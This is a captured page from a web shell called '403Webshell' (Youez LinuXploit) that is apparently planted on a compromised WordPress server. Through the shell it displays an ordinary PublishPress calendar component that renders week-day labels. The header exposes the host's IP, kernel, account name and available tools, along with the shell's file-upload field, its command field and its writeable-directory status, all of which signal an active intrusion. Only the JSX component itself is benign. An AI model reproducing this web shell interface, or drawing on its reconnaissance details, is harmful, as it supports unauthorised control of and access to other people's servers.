403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/publishpress/modules/calendar/lib/async-calendar/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/publishpress/modules/calendar/lib/async-calendar/js//WeekDays.jsx
const {__} = wp.i18n;

export default function WeekDays(props) {
    const DAYS_ON_A_WEEK = 7;
    const weekDayLabels = [
        __('Sun', 'publishpress'),
        __('Mon', 'publishpress'),
        __('Tue', 'publishpress'),
        __('Wed', 'publishpress'),
        __('Thu', 'publishpress'),
        __('Fri', 'publishpress'),
        __('Sat', 'publishpress'),
    ];

    let weekDays = [];
    let currentNumberOfDayOfWeek = (props.weekStartsOnSunday ? 0 : 1) - 1;

    for (let i = 0; i < DAYS_ON_A_WEEK; i++) {
        currentNumberOfDayOfWeek++;

        if (i === 6 && !props.weekStartsOnSunday) {
            currentNumberOfDayOfWeek = 0;
        }

        weekDays.push({
            key: currentNumberOfDayOfWeek.toString(),
            label: weekDayLabels[currentNumberOfDayOfWeek]
        });
    }

    return (
        <>
            {weekDays.map(item =>
                <th key={item.key.toString()}>{item.label}</th>
            )}
        </>
    )
}

Youez - 2016 - github.com/yon3zu
LinuXploit